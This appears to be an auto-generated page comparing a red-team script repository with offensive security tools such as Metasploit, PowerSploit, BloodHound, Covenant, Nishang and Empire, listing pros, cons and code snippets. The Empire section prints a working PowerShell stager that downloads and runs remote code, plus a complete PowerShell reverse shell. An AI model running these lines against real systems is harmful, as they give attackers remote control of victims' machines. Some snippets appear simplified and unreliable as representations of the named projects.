Pros of Metasploit-framework

• Extensive collection of exploits and payloads for various platforms
• Active community and regular updates
• Well-documented and supported by Rapid7

Cons of Metasploit-framework

• Larger footprint and more complex to set up
• May be detected by antivirus software more easily
• Steeper learning curve for beginners

Code comparison

Red-team-scripts:

function Invoke-PowerShellTcp 
{ 
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="bind")]
        [String]
        $IPAddress,

Metasploit-framework:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,

The code snippets show that Red-team-scripts focuses on PowerShell-based tools, while Metasploit-framework uses Ruby for its modules. Metasploit offers a more structured framework for exploit development, whereas Red-team-scripts provides individual scripts for specific tasks.

Pros of PowerSploit

• More comprehensive and extensive collection of PowerShell scripts for penetration testing
• Well-established and widely recognized in the cybersecurity community
• Includes advanced post-exploitation modules and privilege escalation techniques

Cons of PowerSploit

• Less frequently updated, with the last commit being several years old
• May contain outdated techniques that are more easily detected by modern security solutions
• Larger codebase, which can be overwhelming for beginners

Code Comparison

PowerSploit (Get-GPPPassword.ps1):

function Get-GPPPassword {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory=$false,
        HelpMessage="Credentials to use when connecting to a Domain Controller.")]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty
    )

red-team-scripts (Get-GPPPassword.ps1):

function Get-GPPPassword {
[CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$true)]
        [String[]]$Server = $Env:USERDNSDOMAIN
    )

Both repositories contain scripts for retrieving Group Policy Preferences (GPP) passwords, but PowerSploit's implementation includes additional credential handling functionality.

Pros of BloodHound

• Provides comprehensive Active Directory attack path visualization
• Offers a user-friendly GUI for easier analysis and reporting
• Integrates with various data collection tools (SharpHound, BloodHound.py)

Cons of BloodHound

• Focused specifically on Active Directory, limiting its scope
• Requires more setup and resources compared to lightweight scripts
• May be overkill for smaller engagements or specific tasks

Code Comparison

BloodHound (Cypher query example):

MATCH (u:User {name: 'JOHN@DOMAIN.COM'})
MATCH (c:Computer)
MATCH p = shortestPath((u)-[*1..]->(c))
RETURN p

Red Team Scripts (PowerShell example):

Get-NetUser -Domain "domain.com" | 
    Where-Object {$_.memberof -match "Domain Admins"} | 
    Select-Object samaccountname, name, lastlogon

BloodHound offers more complex querying capabilities for AD environments, while Red Team Scripts provides a collection of versatile scripts for various red team tasks. BloodHound is more specialized and feature-rich for AD analysis, whereas Red Team Scripts offers a broader range of tools for different aspects of red teaming.

Pros of Covenant

• More comprehensive C2 framework with GUI interface
• Supports .NET-based Implants for enhanced flexibility
• Active development with frequent updates and community support

Cons of Covenant

• Steeper learning curve due to complexity
• Requires more setup and infrastructure compared to simple scripts
• May be overkill for basic red team operations

Code Comparison

Covenant (C# Implant example):

public class ImplantTemplate : Implant
{
    public override void Start()
    {
        // Implant initialization code
    }
}

Red Team Scripts (PowerShell example):

function Invoke-Recon {
    # Simple reconnaissance script
    Get-ComputerInfo
}

Summary

Covenant is a full-featured C2 framework offering advanced capabilities and a GUI, while Red Team Scripts provides a collection of individual scripts for specific tasks. Covenant is better suited for complex, long-term engagements, whereas Red Team Scripts offers simplicity and ease of use for quick, targeted operations. The choice between them depends on the specific requirements of the red team engagement and the operator's expertise level.

Pros of Nishang

• More comprehensive collection of PowerShell scripts for penetration testing and offensive security
• Actively maintained with regular updates and contributions
• Includes a wider range of tools for various stages of penetration testing

Cons of Nishang

• Primarily focused on PowerShell, limiting its use in non-Windows environments
• May require more setup and configuration for some scripts compared to Red Team Scripts
• Some scripts may be detected by antivirus software due to their popularity

Code Comparison

Nishang (Get-Information.ps1):

function Get-Information
{
    [CmdletBinding()] Param()
    $output = "$env:COMPUTERNAME`n"
    $output = $output + "Current User: $env:USERNAME`n"
    $output = $output + "IP Address: $((Get-NetIPAddress).IPAddress -join ', ')`n"
    $output
}

Red Team Scripts (get_system_info.py):

import platform
import socket

def get_system_info():
    print(f"Hostname: {socket.gethostname()}")
    print(f"IP Address: {socket.gethostbyname(socket.gethostname())}")
    print(f"OS: {platform.system()} {platform.release()}")

Both repositories provide valuable tools for red team operations and penetration testing. Nishang offers a more extensive collection of PowerShell scripts, while Red Team Scripts includes a mix of Python and PowerShell tools. The choice between them depends on the specific requirements of the engagement and the target environment.

Pros of Empire

• More comprehensive and feature-rich post-exploitation framework
• Actively maintained with regular updates and community support
• Extensive documentation and usage examples

Cons of Empire

• Larger footprint and potentially easier to detect
• Steeper learning curve for beginners
• May be overkill for simpler red team operations

Code Comparison

Empire (PowerShell stager):

$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX $wc.DownloadString('http://empire.server:8080/launcher');

red-team-scripts (PowerShell reverse shell):

$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()};$client.Close()

Both repositories offer valuable tools for red team operations, but Empire provides a more comprehensive framework while red-team-scripts offers simpler, focused scripts for specific tasks.